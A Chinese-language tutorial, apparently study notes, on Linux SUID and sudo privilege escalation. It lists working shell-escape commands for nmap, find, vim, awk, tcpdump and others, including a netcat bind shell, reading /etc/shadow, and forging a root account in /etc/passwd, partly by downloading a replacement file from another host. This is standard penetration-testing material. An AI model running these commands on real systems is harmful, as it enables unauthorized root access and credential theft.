0%

Linux SUID 提权

0x00 前言

面试时发现关于 SUID 并不是很清楚,所以学习记录下

0x01 关于 SUID

SUID(设置用户ID)是赋予文件的一种权限,它会出现在文件拥有者权限的执行位上,具有这种权限的文件会在其执行时,使调用者暂时获得该文件拥有者的权限。

那么,为什么要给Linux二进制文件设置这种权限呢?其实原因有很多,例如,程序ping需要root权限才能打开网络套接字,但执行该程序的用户通常都是由普通用户,来验证与其他主机的连通性。

但是,如果某些现有的二进制文件和实用程序具有SUID权限的话,就可以在执行时将权限提升为root。

passwd 的权限:

用户可以输入自己的密码或者不需要密码在root权限下执行命令,这可在设置文件 /etc/sudoers 中配置。

1.1 /etc/sudoers 语法

1
root ALL=(ALL) ALL

root 用户可以从 ALL(任何)终端执行,充当ALL(任何)用户,并运行ALL(任何)命令。第一部分指定用户,第二部分指定可充当用户,第三部分指定 sudo 可运行的命令。

1
touhid ALL= /sbin/poweroff

输入 touchid 的密码,可以 sudo 执行 poweroff 命令。

1
touhid ALL = (root) NOPASSWD: /usr/bin/find

不输入密码,可以 sudo 执行 find 命令

1.2 查找具有 SUID 权限位文件

以下命令可以找到正在系统上运行的所有SUID可执行文件。准确的说,这个命令将从/目录中查找具有SUID权限位且属主为root的文件并输出它们,然后将所有错误重定向到/dev/null,从而仅列出该用户具有访问权限的那些二进制文件。

1
2
3
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} ;

也可以使用 sudo -l 命令列出当前用户可执行的命令

0x02 常用提权方式

2.1 nmap

nmap(2.02-5.21)存在交换模式,可利用提权

1
nmap --interactive

之后执行:

1
2
3
nmap> !sh
sh-3.2# whoami
root

msf中的模块为:

1
exploit/unix/local/setuid_nmap

较新版可使用 --script 参数:

1
echo "os.execute('/bin/sh')" > /tmp/shell.nse && sudo nmap --script=/tmp/shell.nse

kali nmap 7.7 提权成功:

2.2 find

1
2
touch test
find test -exec whoami \;

nc 反弹 shell:

1
find test -exec netcat -lvp 5555 -e /bin/sh \;

2.3 vi/vim

打开vim,按下ESC

1
2
:set shell=/bin/sh
:shell

或者

1
sudo vim -c '!sh'

2.4 bash

1
2
3
bash -p
bash-3.2# id
uid=1002(service) gid=1002(service) euid=0(root) groups=1002(service)

2.5 less

1
2
less /etc/passwd
!/bin/sh

2.6 more

1
2
more /home/pelle/myfile
!/bin/bash

2.7 cp

覆盖 /etc/shadow/etc/passwd

1
2
3
4
5
6
7
8
9
10
11
[zabbix@localhost ~]$ cat /etc/passwd >passwd
2.[zabbix@localhost ~]$ openssl passwd -1 -salt hack hack123
3.$1$hack$WTn0dk2QjNeKfl.DHOUue0
4.[zabbix@localhost ~]$ echo 'hack:$1$hack$WTn0dk2QjNeKfl.DHOUue0:0:0::/root/:/bin/bash' >> passwd
5.[zabbix@localhost ~]$ cp passwd /etc/passwd
6.[zabbix@localhost ~]$ su - hack
7.Password:
8.[root@361way ~]# id
9.uid=0(hack) gid=0(root) groups=0(root)
10.[root@361way ~]# cat /etc/passwd|tail -1
11.hack:$1$hack$WTn0dk2QjNeKfl.DHOUue0:0:0::/root/:/bin/bash

2.8 mv

覆盖 /etc/shadow/etc/passwd

2.9 nano

1
nano  /etc/passwd

2.10 awk

1
awk 'BEGIN {system("/bin/sh")}'

2.11 man

1
2
man passwd
!/bin/bash

2.12 wget

1
wget http://192.168.56.1:8080/passwd -O /etc/passwd

2.13 apache

仅可查看文件,不能弹 shell:

1
apache2 -f /etc/shadow

2.14 tcpdump

1
2
3
echo $'id\ncat /etc/shadow' > /tmp/.test
chmod +x /tmp/.test
sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/.test -Z root

2.15 python/perl/ruby/lua/php/etc

python

1
python -c "import os;os.system('/bin/bash')"

perl

1
exec "/bin/bash";

参考链接